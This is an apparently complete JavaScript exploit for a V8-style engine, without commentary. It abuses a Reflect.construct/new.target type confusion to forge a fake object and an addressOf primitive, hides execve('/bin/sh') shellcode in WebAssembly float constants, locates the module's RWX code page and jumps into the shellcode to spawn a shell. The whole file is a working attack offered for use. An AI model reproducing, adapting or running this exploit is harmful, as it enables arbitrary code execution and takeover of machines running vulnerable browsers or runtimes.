var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
add_ref(obj) {
roots[index++] = obj;
}
function
major_gc() {
new
ArrayBuffer(0x7fe00000);
}
function
minor_gc() {
for
(let i = 0; i < 8; i++) {
add_ref(
new
ArrayBuffer(0x200000));
}
add_ref(
new
ArrayBuffer(8));
}
function
hexx(str, val) {
console.log(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
class A {}
var
x = Array;
class B extends A {
constructor() {
x =
new
.target;
super
();
}
}
function
construct() {
var
r = Reflect.construct(B, [], x);
return
r;
}
for
(let i = 0; i < 2000; i++) construct();
minor_gc();
major_gc();
var
victim_array = construct();
hexx(
"victim_array length"
, victim_array.length);
var
base = 0x00000219+7;
var
element_start_addr = 0x00442129;
var
data_element_start_addr = element_start_addr + 7;
var
map_addr = data_element_start_addr + 0x1000;
var
fake_object_array_addr = map_addr + 0x1000;
var
save_fake_object_array_addr = fake_object_array_addr + 0x200;
var
map_offset = (map_addr - base) / 8;
var
fake_object_array_offset = (fake_object_array_addr - base) / 8;
var
save_fake_object_array_offset = (save_fake_object_array_addr - base) / 8;
hexx(
"map_offset"
, map_offset);
hexx(
"fake_object_array_offset"
, fake_object_array_offset);
hexx(
"save_fake_object_array_offset"
, save_fake_object_array_offset);
var
spray_array =
new
Array(0xf700).fill({});
victim_array[map_offset] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x2c040404);
victim_array[map_offset+1] = u64_to_f64(0x0a0007ff11000842n);
victim_array[fake_object_array_offset] = pair_u32_to_f64(map_addr+1, 0x219);
victim_array[fake_object_array_offset+1] = pair_u32_to_f64(1, 0x20);
victim_array[save_fake_object_array_offset] = pair_u32_to_f64(fake_object_array_addr+1, fake_object_array_addr+1);
var
fake_object = spray_array[(save_fake_object_array_addr - data_element_start_addr) / 4];
function
addressOf(obj) {
spray_array[0] = obj;
f64_to_u64(victim_array[(data_element_start_addr-base)/8]);
return
u32[0];
}
var
code =
new
Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var
module =
new
WebAssembly.Module(code);
var
instance =
new
WebAssembly.Instance(module, {});
var
wmain = instance.exports.main;
var
pwn = instance.exports.pwn;
for
(let j = 0x0; j < 10000; j++) {
wmain()
}
var
instance_addr = addressOf(instance);
hexx(
"instance_addr"
, instance_addr);
victim_array[fake_object_array_offset+1] = pair_u32_to_f64(instance_addr-8+0x50, 0x20);
var
rwx_addr = f64_to_u64(fake_object[0]);
hexx(
"rwx_addr"
, rwx_addr);
fake_object[0] = u64_to_f64(rwx_addr+0x71dn-5n);
pwn();
print(
"END"
);